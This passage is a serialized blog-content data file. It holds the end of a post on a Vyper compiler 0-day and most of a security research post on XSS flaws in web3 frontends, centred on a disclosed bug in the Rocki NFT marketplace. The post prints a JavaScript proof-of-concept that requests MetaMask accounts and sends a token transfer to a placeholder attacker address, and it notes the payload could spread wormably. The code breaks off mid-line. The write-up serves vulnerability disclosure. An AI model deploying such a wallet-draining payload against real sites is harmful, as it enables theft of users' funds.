minutes.",{"type":24,"tag":43,"props":36664,"children":36666},{"id":36665},"information-leakage",[36667],{"type":29,"value":36668},"Information Leakage",{"type":24,"tag":25,"props":36670,"children":36671},{},[36672],{"type":29,"value":36673},"I was both an auditor and a whitehat.",{"type":24,"tag":25,"props":36675,"children":36676},{},[36677,36679,36686],{"type":29,"value":36678},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":24,"tag":2773,"props":36680,"children":36683},{"href":36681,"rel":36682},"https://twitter.com/osec_io/status/1579969927020412929",[2777],[36684],{"type":29,"value":36685},"by publishing the \"scoop\"",{"type":29,"value":36687}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":24,"tag":25,"props":36689,"children":36690},{},[36691],{"type":29,"value":36692},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":24,"tag":25,"props":36694,"children":36695},{},[36696],{"type":29,"value":36697},"Half an hour more could have saved $18M.",{"type":24,"tag":25,"props":36699,"children":36700},{},[36701],{"type":29,"value":36702},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":24,"tag":32,"props":36704,"children":36706},{"id":36705},"next-steps",[36707],{"type":29,"value":36708},"Next Steps",{"type":24,"tag":25,"props":36710,"children":36711},{},[36712],{"type":29,"value":36713},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":24,"tag":25,"props":36715,"children":36716},{},[36717,36719,36726],{"type":29,"value":36718},"It's important to note that this bug ",{"type":24,"tag":2773,"props":36720,"children":36723},{"href":36721,"rel":36722},"https://twitter.com/real_philogy/status/1685948253139857409",[2777],[36724],{"type":29,"value":36725},"was patched since November 2021",{"type":29,"value":87},{"type":24,"tag":98,"props":36728,"children":36729},{},[36730],{"type":24,"tag":25,"props":36731,"children":36732},{},[36733,36735,36740,36741,36744,36746,36751],{"type":29,"value":36734},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":24,"tag":8545,"props":36736,"children":36737},{},[36738],{"type":29,"value":36739},"processes",{"type":29,"value":24139},{"type":24,"tag":8388,"props":36742,"children":36743},{},[],{"type":29,"value":36745},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":24,"tag":8545,"props":36747,"children":36748},{},[36749],{"type":29,"value":36750},"was",{"type":29,"value":36752}," fixed.",{"type":24,"tag":25,"props":36754,"children":36755},{},[36756],{"type":29,"value":36757},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":24,"tag":24029,"props":36759,"children":36761},{"className":36760,"dataFootnotes":7},[24032],[36762,36767],{"type":24,"tag":32,"props":36763,"children":36765},{"className":36764,"id":21092},[24037],[36766],{"type":29,"value":24040},{"type":24,"tag":2674,"props":36768,"children":36769},{},[36770],{"type":24,"tag":2678,"props":36771,"children":36772},{"id":35967},[36773,36775],{"type":29,"value":36774},"Thankfully, these funds were later returned. ",{"type":24,"tag":2773,"props":36776,"children":36778},{"href":35995,"ariaLabel":24143,"className":36777,"dataFootnoteBackref":7},[24145],[36779],{"type":29,"value":24148},{"type":24,"tag":8473,"props":36781,"children":36782},{},[36783],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":36785},[36786,36787,36791,36792],{"id":36062,"depth":160,"text":36065},{"id":36629,"depth":160,"text":36632,"children":36788},[36789,36790],{"id":36644,"depth":169,"text":36647},{"id":36665,"depth":169,"text":36668},{"id":36705,"depth":160,"text":36708},{"id":21092,"depth":160,"text":24040},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":36797,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":36798,"description":36799,"author":36800,"image":36803,"date":36805,"isFeatured":16,"tags":36806,"onBlogPage":16,"body":36809,"_type":8496,"_id":41019,"_source":8498,"_file":41020,"_stem":41021,"_extension":8501},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[36801,36802],"caue","bruno",{"src":36804,"height":15,"width":15},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[36807,36808],"nft-marketplaces","xss",{"type":21,"children":36810,"toc":41002},[36811,36815,36820,36824,36829,36834,36839,36855,36861,36874,36896,36903,36908,36915,36920,36926,36931,36936,36941,36946,36957,36962,37930,37940,37952,37959,37964,38785,38790,38795,38800,38805,39589,39594,39676,39681,39750,39756,39761,39766,39993,40006,40011,40016,40021,40028,40033,40040,40046,40051,40056,40061,40380,40385,40391,40407,40413,40418,40423,40433,40438,40443,40452,40457,40463,40479,40492,40497,40502,40522,40529,40534,40541,40550,40555,40576,40629,40634,40685,40699,40704,40718,40832,40855,40939,40962,40967,40972,40977,40982,40987,40993,40998],{"type":24,"tag":32,"props":36812,"children":36813},{"id":34617},[36814],{"type":29,"value":34620},{"type":24,"tag":25,"props":36816,"children":36817},{},[36818],{"type":29,"value":36819},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":24,"tag":43,"props":36821,"children":36822},{"id":8552},[36823],{"type":29,"value":8555},{"type":24,"tag":25,"props":36825,"children":36826},{},[36827],{"type":29,"value":36828},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":24,"tag":25,"props":36830,"children":36831},{},[36832],{"type":29,"value":36833},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":24,"tag":32,"props":36835,"children":36836},{"id":36808},[36837],{"type":29,"value":36838},"XSS",{"type":24,"tag":25,"props":36840,"children":36841},{},[36842],{"type":24,"tag":8545,"props":36843,"children":36844},{},[36845,36847,36854],{"type":29,"value":36846},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":24,"tag":2773,"props":36848,"children":36851},{"href":36849,"rel":36850},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[2777],[36852],{"type":29,"value":36853},"even explain it to myself",{"type":29,"value":87},{"type":24,"tag":43,"props":36856,"children":36858},{"id":36857},"managing-metadata",[36859],{"type":29,"value":36860},"Managing Metadata",{"type":24,"tag":25,"props":36862,"children":36863},{},[36864,36866,36873],{"type":29,"value":36865},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":24,"tag":2773,"props":36867,"children":36870},{"href":36868,"rel":36869},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[2777],[36871],{"type":29,"value":36872},"payloads",{"type":29,"value":87},{"type":24,"tag":25,"props":36875,"children":36876},{},[36877,36879,36886,36888,36894],{"type":29,"value":36878},"We showcase this vulnerability in the ",{"type":24,"tag":2773,"props":36880,"children":36883},{"href":36881,"rel":36882},"https://rocki.com/",[2777],[36884],{"type":29,"value":36885},"Rocki Marketplace",{"type":29,"value":36887},". The ",{"type":24,"tag":80,"props":36889,"children":36891},{"className":36890},[],[36892],{"type":29,"value":36893},"artistDescription",{"type":29,"value":36895}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":24,"tag":25,"props":36897,"children":36898},{},[36899],{"type":24,"tag":63,"props":36900,"children":36902},{"alt":7,"src":36901},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":24,"tag":25,"props":36904,"children":36905},{},[36906],{"type":29,"value":36907},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":24,"tag":25,"props":36909,"children":36910},{},[36911],{"type":24,"tag":63,"props":36912,"children":36914},{"alt":7,"src":36913},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":24,"tag":25,"props":36916,"children":36917},{},[36918],{"type":29,"value":36919},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":24,"tag":43,"props":36921,"children":36923},{"id":36922},"wheres-my-wallet",[36924],{"type":29,"value":36925},"Where's My Wallet",{"type":24,"tag":25,"props":36927,"children":36928},{},[36929],{"type":29,"value":36930},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":24,"tag":25,"props":36932,"children":36933},{},[36934],{"type":29,"value":36935},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":24,"tag":25,"props":36937,"children":36938},{},[36939],{"type":29,"value":36940},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":24,"tag":25,"props":36942,"children":36943},{},[36944],{"type":29,"value":36945},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":24,"tag":36947,"props":36948,"children":36950},"div",{"style":36949},"display:flex; align-items:center; flex-direction:column;",[36951],{"type":24,"tag":63,"props":36952,"children":36956},{"src":36953,"alt":36954,"style":36955},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":24,"tag":25,"props":36958,"children":36959},{},[36960],{"type":29,"value":36961},"And here we can find the code used to achieve it :",{"type":24,"tag":137,"props":36963,"children":36967},{"className":36964,"code":36965,"language":36966,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[36968],{"type":24,"tag":80,"props":36969,"children":36970},{"__ignoreMap":7},[36971,36988,37032,37061,37077,37140,37175,37200,37225,37232,37252,37260,37276,37288,37296,37313,37330,37338,37345,37361,37377,37384,37392,37409,37421,37428,37444,37460,37467,37474,37491,37498,37506,37513,37560,37567,37631,37638,37658,37674,37690,37711,37782,37798,37805,37812,37850,37858,37865,37872,37879,37900],{"type":24,"tag":147,"props":36972,"children":36973},{"class":149,"line":150},[36974,36979,36984],{"type":24,"tag":147,"props":36975,"children":36976},{"style":218},[36977],{"type":29,"value":36978},"function",{"type":24,"tag":147,"props":36980,"children":36981},{"style":229},[36982],{"type":29,"value":36983}," request",{"type":24,"tag":147,"props":36985,"children":36986},{"style":235},[36987],{"type":29,"value":21347},{"type":24,"tag":147,"props":36989,"children":36990},{"class":149,"line":160},[36991,36995,36999,37004,37009,37013,37018,37023,37028],{"type":24,"tag":147,"props":36992,"children":36993},{"style":321},[36994],{"type":29,"value":3057},{"type":24,"tag":147,"props":36996,"children":36997},{"style":235},[36998],{"type":29,"value":408},{"type":24,"tag":147,"props":37000,"children":37001},{"style":218},[37002],{"type":29,"value":37003},"typeof",{"type":24,"tag":147,"props":37005,"children":37006},{"style":247},[37007],{"type":29,"value":37008}," window",{"type":24,"tag":147,"props":37010,"children":37011},{"style":235},[37012],{"type":29,"value":87},{"type":24,"tag":147,"props":37014,"children":37015},{"style":247},[37016],{"type":29,"value":37017},"ethereum",{"type":24,"tag":147,"props":37019,"children":37020},{"style":241},[37021],{"type":29,"value":37022}," ===",{"type":24,"tag":147,"props":37024,"children":37025},{"style":3534},[37026],{"type":29,"value":37027}," 'undefined'",{"type":24,"tag":147,"props":37029,"children":37030},{"style":235},[37031],{"type":29,"value":505},{"type":24,"tag":147,"props":37033,"children":37034},{"class":149,"line":169},[37035,37040,37044,37048,37052,37057],{"type":24,"tag":147,"props":37036,"children":37037},{"style":247},[37038],{"type":29,"value":37039},"    console",{"type":24,"tag":147,"props":37041,"children":37042},{"style":235},[37043],{"type":29,"value":87},{"type":24,"tag":147,"props":37045,"children":37046},{"style":229},[37047],{"type":29,"value":20477},{"type":24,"tag":147,"props":37049,"children":37050},{"style":235},[37051],{"type":29,"value":480},{"type":24,"tag":147,"props":37053,"children":37054},{"style":3534},[37055],{"type":29,"value":37056},"'Please install MetaMask to use this feature.'",{"type":24,"tag":147,"props":37058,"children":37059},{"style":235},[37060],{"type":29,"value":1473},{"type":24,"tag":147,"props":37062,"children":37063},{"class":149,"line":178},[37064,37069,37073],{"type":24,"tag":147,"props":37065,"children":37066},{"style":235},[37067],{"type":29,"value":37068},"  } ",{"type":24,"tag":147,"props":37070,"children":37071},{"style":321},[37072],{"type":29,"value":6625},{"type":24,"tag":147,"props":37074,"children":37075},{"style":235},[37076],{"type":29,"value":6630},{"type":24,"tag":147,"props":37078,"children":37079},{"class":149,"line":187},[37080,37085,37089,37094,37099,37104,37109,37114,37119,37124,37128,37132,37136],{"type":24,"tag":147,"props":37081,"children":37082},{"style":247},[37083],{"type":29,"value":37084},"    ethereum",{"type":24,"tag":147,"props":37086,"children":37087},{"style":235},[37088],{"type":29,"value":87},{"type":24,"tag":147,"props":37090,"children":37091},{"style":229},[37092],{"type":29,"value":37093},"request",{"type":24,"tag":147,"props":37095,"children":37096},{"style":235},[37097],{"type":29,"value":37098},"({ ",{"type":24,"tag":147,"props":37100,"children":37101},{"style":247},[37102],{"type":29,"value":37103},"method:",{"type":24,"tag":147,"props":37105,"children":37106},{"style":3534},[37107],{"type":29,"value":37108}," 'eth_requestAccounts'",{"type":24,"tag":147,"props":37110,"children":37111},{"style":235},[37112],{"type":29,"value":37113}," }).",{"type":24,"tag":147,"props":37115,"children":37116},{"style":229},[37117],{"type":29,"value":37118},"then",{"type":24,"tag":147,"props":37120,"children":37121},{"style":235},[37122],{"type":29,"value":37123},"((",{"type":24,"tag":147,"props":37125,"children":37126},{"style":247},[37127],{"type":29,"value":20289},{"type":24,"tag":147,"props":37129,"children":37130},{"style":235},[37131],{"type":29,"value":564},{"type":24,"tag":147,"props":37133,"children":37134},{"style":218},[37135],{"type":29,"value":20435},{"type":24,"tag":147,"props":37137,"children":37138},{"style":235},[37139],{"type":29,"value":6630},{"type":24,"tag":147,"props":37141,"children":37142},{"class":149,"line":196},[37143,37148,37153,37157,37162,37166,37170],{"type":24,"tag":147,"props":37144,"children":37145},{"style":218},[37146],{"type":29,"value":37147},"      const",{"type":24,"tag":147,"props":37149,"children":37150},{"style":247},[37151],{"type":29,"value":37152}," fromAddress",{"type":24,"tag":147,"props":37154,"children":37155},{"style":241},[37156],{"type":29,"value":651},{"type":24,"tag":147,"props":37158,"children":37159},{"style":247},[37160],{"type":29,"value":37161}," accounts",{"type":24,"tag":147,"props":37163,"children":37164},{"style":235},[37165],{"type":29,"value":9358},{"type":24,"tag":147,"props":37167,"children":37168},{"style":705},[37169],{"type":29,"value":3173},{"type":24,"tag":147,"props":37171,"children":37172},{"style":235},[37173],{"type":29,"value":37174},"];\n",{"type":24,"tag":147,"props":37176,"children":37177},{"class":149,"line":205},[37178,37182,37187,37191,37196],{"type":24,"tag":147,"props":37179,"children":37180},{"style":218},[37181],{"type":29,"value":37147},{"type":24,"tag":147,"props":37183,"children":37184},{"style":247},[37185],{"type":29,"value":37186}," attackerAddress",{"type":24,"tag":147,"props":37188,"children":37189},{"style":241},[37190],{"type":29,"value":651},{"type":24,"tag":147,"props":37192,"children":37193},{"style":3534},[37194],{"type":29,"value":37195}," '0x0000000000000000000000000000000000000000'",{"type":24,"tag":147,"props":37197,"children":37198},{"style":235},[37199],{"type":29,"value":432},{"type":24,"tag":147,"props":37201,"children":37202},{"class":149,"line":214},[37203,37207,37212,37216,37221],{"type":24,"tag":147,"props":37204,"children":37205},{"style":218},[37206],{"type":29,"value":37147},{"type":24,"tag":147,"props":37208,"children":37209},{"style":247},[37210],{"type":29,"value":37211}," contractAddress",{"type":24,"tag":147,"props":37213,"children":37214},{"style":241},[37215],{"type":29,"value":651},{"type":24,"tag":147,"props":37217,"children":37218},{"style":3534},[37219],{"type":29,"value":37220}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":24,"tag":147,"props":37222,"children":37223},{"style":235},[37224],{"type":29,"value":432},{"type":24,"tag":147,"props":37226,"children":37227},{"class":149,"line":272},[37228],{"type":24,"tag":147,"props":37229,"children":37230},{"emptyLinePlaceholder":16},[37231],{"type":29,"value":314},{"type":24,"tag":147,"props":37233,"children":37234},{"class":149,"line":281},[37235,37239,37244,37248],{"type":24,"tag":147,"props":37236,"children":37237},{"style":218},[37238],{"type":29,"value":13701},{"type":24,"tag":147,"props":37240,"children":37241},{"style":247},[37242],{"type":29,"value":37243}," tokenAbi",{"type":24,"tag":147,"props":37245,"children":37246},{"style":241},[37247],{"type":29,"value":651},{"type":24,"tag":147,"props":37249,"children":37250},{"style":235},[37251],{"type":29,"value":31222},{"type":24,"tag":147,"props":37253,"children":37254},{"class":149,"line":299},[37255],{"type":24,"tag":147,"props":37256,"children":37257},{"style":235},[37258],{"type":29,"value":37259},"        {\n",{"type":24,"tag":147,"props":37261,"children":37262},{"class":149,"line":308},[37263,37268,37272],{"type":24,"tag":147,"props":37264,"children":37265},{"style":247},[37266],{"type":29,"value":37267},"          constant:",{"type":24,"tag":147,"props":37269,"children":37270},{"style":218},[37271],{"type":29,"value":14682},{"type":24,"tag":147,"props":37273,"children":37274},{"style":235},[37275],{"type":29,"value":1549},{"type":24,"tag":147,"props":37277,"children":37278},{"class":149,"line":317},[37279,37284],{"type":24,"tag":147,"props":37280,"children":37281},{"style":247},[37282],{"type":29,"value":37283},"          inputs:",{"type":24,"tag":147,"props":37285,"children":37286},{"style":235},[37287],{"type":29,"value":31222},{"type":24,"tag":147,"props":37289,"children":37290},{"class":149,"line":332},[37291],{"type":24,"tag":147,"props":37292,"children":37293},{"style":235},[37294],{"type":29,"value":37295},"            {\n",{"type":24,"tag":147,"props":37297,"children":37298},{"class":149,"line":350},[37299,37304,37309],{"type":24,"tag":147,"props":37300,"children":37301},{"style":247},[37302],{"type":29,"value":37303},"              name:",{"type":24,"tag":147,"props":37305,"children":37306},{"style":3534},[37307],{"type":29,"value":37308}," '_to'",{"type":24,"tag":147,"props":37310,"children":37311},{"style":235},[37312],{"type":29,"value":1549},{"type":24,"tag":147,"props":37314,"children":37315},{"class":149,"line":358},[37316,37321,37326],{"type":24,"tag":147,"props":37317,"children":37318},{"style":247},[37319],{"type":29,"value":37320},"              type:",{"type":24,"tag":147,"props":37322,"children":37323},{"style":3534},[37324],{"type":29,"value":37325}," 'address'",{"type":24,"tag":147,"props":37327,"children":37328},{"style":235},[37329],{"type":29,"value":1549},{"type":24,"tag":147,"props":37331,"children":37332},{"class":149,"line":397},[37333],{"type":24,"tag":147,"props":37334,"children":37335},{"style":235},[37336],{"type":29,"value":37337},"            },\n",{"type":24,"tag":147,"props":37339,"children":37340},{"class":149,"line":421},[37341],{"type":24,"tag":147,"props":37342,"children":37343},{"style":235},[37344],{"type":29,"value":37295},{"type":24,"tag":147,"props":37346,"children":37347},{"class":149,"line":435},[37348,37352,37357],{"type":24,"tag":147,"props":37349,"children":37350},{"style":247},[37351],{"type":29,"value":37303},{"type":24,"tag":147,"props":37353,"children":37354},{"style":3534},[37355],{"type":29,"value":37356}," '_value'",{"type":24,"tag":147,"props":37358,"children":37359},{"style":235},[37360],{"type":29,"value":1549},{"type":24,"tag":147,"props":37362,"children":37363},{"class":149,"line":444},[37364,37368,37373],{"type":24,"tag":147,"props":37365,"children":37366},{"style":247},[37367],{"type":29,"value":37320},{"type":24,"tag":147,"props":37369,"children":37370},{"style":3534},[37371],{"type":29,"value":37372}," 'uint256'",{"type":24,"tag":147,"props":37374,"children":37375},{"style":235},[37376],{"type":29,"value":1549},{"type":24,"tag":147,"props":37378,"children":37379},{"class":149,"line":452},[37380],{"type":24,"tag":147,"props":37381,"children":37382},{"style":235},[37383],{"type":29,"value":37337},{"type":24,"tag":147,"props":37385,"children":37386},{"class":149,"line":461},[37387],{"type":24,"tag":147,"props":37388,"children":37389},{"style":235},[37390],{"type":29,"value":37391},"          ],\n",{"type":24,"tag":147,"props":37393,"children":37394},{"class":149,"line":469},[37395,37400,37405],{"type":24,"tag":147,"props":37396,"children":37397},{"style":247},[37398],{"type":29,"value":37399},"          name:",{"type":24,"tag":147,"props":37401,"children":37402},{"style":3534},[37403],{"type":29,"value":37404}," 'transfer'",{"type":24,"tag":147,"props":37406,"children":37407},{"style":235},[37408],{"type":29,"value":1549},{"type":24,"tag":147,"props":37410,"children":37411},{"class":149,"line":508},[37412,37417],{"type":24,"tag":147,"props":37413,"children":37414},{"style":247},[37415],{"type":29,"value":37416},"          outputs:",{"type":24,"tag":147,"props":37418,"children":37419},{"style":235},[37420],{"type":29,"value":31222},{"type":24,"tag":147,"props":37422,"children":37423},{"class":149,"line":572},[37424],{"type":24,"tag":147,"props":37425,"children":37426},{"style":235},[37427],{"type":29,"value":37295},{"type":24,"tag":147,"props":37429,"children":37430},{"class":149,"line":591},[37431,37435,37440],{"type":24,"tag":147,"props":37432,"children":37433},{"style":247},[37434],{"type":29,"value":37303},{"type":24,"tag":147,"props":37436,"children":37437},{"style":3534},[37438],{"type":29,"value":37439}," ''",{"type":24,"tag":147,"props":37441,"children":37442},{"style":235},[37443],{"type":29,"value":1549},{"type":24,"tag":147,"props":37445,"children":37446},{"class":149,"line":632},[37447,37451,37456],{"type":24,"tag":147,"props":37448,"children":37449},{"style":247},[37450],{"type":29,"value":37320},{"type":24,"tag":147,"props":37452,"children":37453},{"style":3534},[37454],{"type":29,"value":37455}," 'bool'",{"type":24,"tag":147,"props":37457,"children":37458},{"style":235},[37459],{"type":29,"value":1549},{"type":24,"tag":147,"props":37461,"children":37462},{"class":149,"line":659},[37463],{"type":24,"tag":147,"props":37464,"children":37465},{"style":235},[37466],{"type":29,"value":37337},{"type":24,"tag":147,"props":37468,"children":37469},{"class":149,"line":684},[37470],{"type":24,"tag":147,"props":37471,"children":37472},{"style":235},[37473],{"type":29,"value":37391},{"type":24,"tag":147,"props":37475,"children":37476},{"class":149,"line":715},[37477,37482,37487],{"type":24,"tag":147,"props":37478,"children":37479},{"style":247},[37480],{"type":29,"value":37481},"          type:",{"type":24,"tag":147,"props":37483,"children":37484},{"style":3534},[37485],{"type":29,"value":37486}," 'function'",{"type":24,"tag":147,"props":37488,"children":37489},{"style":235},[37490],{"type":29,"value":1549},{"type":24,"tag":147,"props":37492,"children":37493},{"class":149,"line":744},[37494],{"type":24,"tag":147,"props":37495,"children":37496},{"style":235},[37497],{"type":29,"value":30974},{"type":24,"tag":147,"props":37499,"children":37500},{"class":149,"line":784},[37501],{"type":24,"tag":147,"props":37502,"children":37503},{"style":235},[37504],{"type":29,"value":37505},"      ];\n",{"type":24,"tag":147,"props":37507,"children":37508},{"class":149,"line":792},[37509],{"type":24,"tag":147,"props":37510,"children":37511},{"emptyLinePlaceholder":16},[37512],{"type":29,"value":314},{"type":24,"tag":147,"props":37514,"children":37515},{"class":149,"line":805},[37516,37520,37525,37529,37534,37539,37543,37548,37552,37556],{"type":24,"tag":147,"props":37517,"children":37518},{"style":218},[37519],{"type":29,"value":37147},{"type":24,"tag":147,"props":37521,"children":37522},{"style":247},[37523],{"type":29,"value":37524}," web3",{"type":24,"tag":147,"props":37526,"children":37527},{"style":241},[37528],{"type":29,"value":651},{"type":24,"tag":147,"props":37530,"children":37531},{"style":218},[37532],{"type":29,"value":37533}," new",{"type":24,"tag":147,"props":37535,"children":37536},{"style":229},[37537],{"type":29,"value":37538}," Web3",{"type":24,"tag":147,"props":37540,"children":37541},{"style":235},[37542],{"type":29,"value":480},{"type":24,"tag":147,"props":37544,"children":37545},{"style":247},[37546],{"type":29,"value":37547},"window",{"type":24,"tag":147,"props":37549,"children":37550},{"style":235},[37551],{"type":29,"value":87},{"type":24,"tag":147,"props":37553,"children":37554},{"style":247},[37555],{"type":29,"value":37017},{"type":24,"tag":147,"props":37557,"children":37558},{"style":235},[37559],{"type":29,"value":1473},{"type":24,"tag":147,"props":37561,"children":37562},{"class":149,"line":813},[37563],{"type":24,"tag":147,"props":37564,"children":37565},{"emptyLinePlaceholder":16},[37566],{"type":29,"value":314},{"type":24,"tag":147,"props":37568,"children":37569},{"class":149,"line":821},[37570,37574,37579,37583,37587,37591,37595,37600,37604,37609,37613,37618,37622,37627],{"type":24,"tag":147,"props":37571,"children":37572},{"style":218},[37573],{"type":29,"value":37147},{"type":24,"tag":147,"props":37575,"children":37576},{"style":247},[37577],{"type":29,"value":37578}," tokenContract",{"type":24,"tag":147,"props":37580,"children":37581},{"style":241},[37582],{"type":29,"value":651},{"type":24,"tag":147,"props":37584,"children":37585},{"style":218},[37586],{"type":29,"value":37533},{"type":24,"tag":147,"props":37588,"children":37589},{"style":247},[37590],{"type":29,"value":37524},{"type":24,"tag":147,"props":37592,"children":37593},{"style":235},[37594],{"type":29,"value":87},{"type":24,"tag":147,"props":37596,"children":37597},{"style":247},[37598],{"type":29,"value":37599},"eth",{"type":24,"tag":147,"props":37601,"children":37602},{"style":235},[37603],{"type":29,"value":87},{"type":24,"tag":147,"props":37605,"children":37606},{"style":229},[37607],{"type":29,"value":37608},"Contract",{"type":24,"tag":147,"props":37610,"children":37611},{"style":235},[37612],{"type":29,"value":480},{"type":24,"tag":147,"props":37614,"children":37615},{"style":247},[37616],{"type":29,"value":37617},"tokenAbi",{"type":24,"tag":147,"props":37619,"children":37620},{"style":235},[37621],{"type":29,"value":546},{"type":24,"tag":147,"props":37623,"children":37624},{"style":247},[37625],{"type":29,"value":37626},"contractAddress",{"type":24,"tag":147,"props":37628,"children":37629},{"style":235},[37630],{"type":29,"value":1473},{"type":24,"tag":147,"props":37632,"children":37633},{"class":149,"line":1902},[37634],{"type":24,"tag":147,"props":37635,"children":37636},{"emptyLinePlaceholder":16},[37637],{"type":29,"value":314},{"type":24,"tag":147,"props":37639,"children":37640},{"class":149,"line":1920},[37641,37645,37650,37654],{"type":24,"tag":147,"props":37642,"children":37643},{"style":218},[37644],{"type":29,"value":37147},{"type":24,"tag":147,"props":37646,"children":37647},{"style":247},[37648],{"type":29,"value":37649}," transactionObject",{"type":24,"tag":147,"props":37651,"children":37652},{"style":241},[37653],{"type":29,"value":651},{"type":24,"tag":147,"props":37655,"children":37656},{"style":235},[37657],{"type":29,"value":6630},{"type":24,"tag":147,"props":37659,"children":37660},{"class":149,"line":1929},[37661,37666,37670],{"type":24,"tag":147,"props":37662,"children":37663},{"style":247},[37664],{"type":29,"value":37665},"        from:",{"type":24,"tag":147,"props":37667,"children":37668},{"style":247},[37669],{"type":29,"value":37152},{"type":24,"tag":147,"props":37671,"children":37672},{"style":235},[37673],{"type":29,"value":1549},{"type":24,"tag":147,"props":37675,"children":37676},{"class":149,"line":1938},[37677,37682,37686],{"type":24,"tag":147,"props":37678,"children":37679},{"style":247},[37680],{"type":29,"value":37681},"        to:",{"type":24,"tag":147,"props":37683,"children":37684},{"style":247},[37685],{"type":29,"value":37211},{"type":24,"tag":147,"props":37687,"children":37688},{"style":235},[37689],{"type":29,"value":1549},{"type":24,"tag":147,"props":37691,"children":37692},{"class":149,"line":1946},[37693,37698,37702,37706],{"type":24,"tag":147,"props":37694,"children":37695},{"style":247},[37696],{"type":29,"value":37697},"        data:",{"type":24,"tag":147,"props":37699,"children":37700},{"style":247},[37701],{"type":29,"value":37578},{"type":24,"tag":147,"props":37703,"children":37704},{"style":235},[37705],{"type":29,"value":87},{"type":24,"tag":147,"props":37707,"children":37708},{"style":247},[37709],{"type":29,"value":37710},"methods\n",{"type":24,"tag":147,"props":37712,"children":37713},{"class":149,"line":1955},[37714,37719,37724,37728,37733,37737,37742,37746,37751,37755,37760,37764,37769,37773,37778],{"type":24,"tag":147,"props":37715,"children":37716},{"style":235},[37717],{"type":29,"value":37718},"          .",{"type":24,"tag":147,"props":37720,"children":37721},{"style":229},[37722],{"type":29,"value":37723},"transfer",{"type":24,"tag":147,"props":37725,"children":37726},{"style":235},[37727],{"type":29,"value":480},{"type":24,"tag":147,"props":37729,"children":37730},{"style":247},[37731],{"type":29,"value":37732},"attackerAddress",{"type":24,"tag":147,"props":37734,"children":37735},{"style":235},[37736],{"type":29,"value":546},{"type":24,"tag":147,"props":37738,"children":37739},{"style":247},[37740],{"type":29,"value":37741},"web3",{"type":24,"tag":147,"props":37743,"children":37744},{"style":235},[37745],{"type":29,"value":87},{"type":24,"tag":147,"props":37747,"children":37748},{"style":247},[37749],{"type":29,"value":37750},"utils",{"type":24,"tag":147,"props":37752,"children":37753},{"style":235},[37754],{"type":29,"value":87},{"type":24,"tag":147,"props":37756,"children":37757},{"style":229},[37758],{"type":29,"value":37759},"toWei",{"type":24,"tag":147,"props":37761,"children":37762},{"style":235},[37763],{"type":29,"value":480},{"t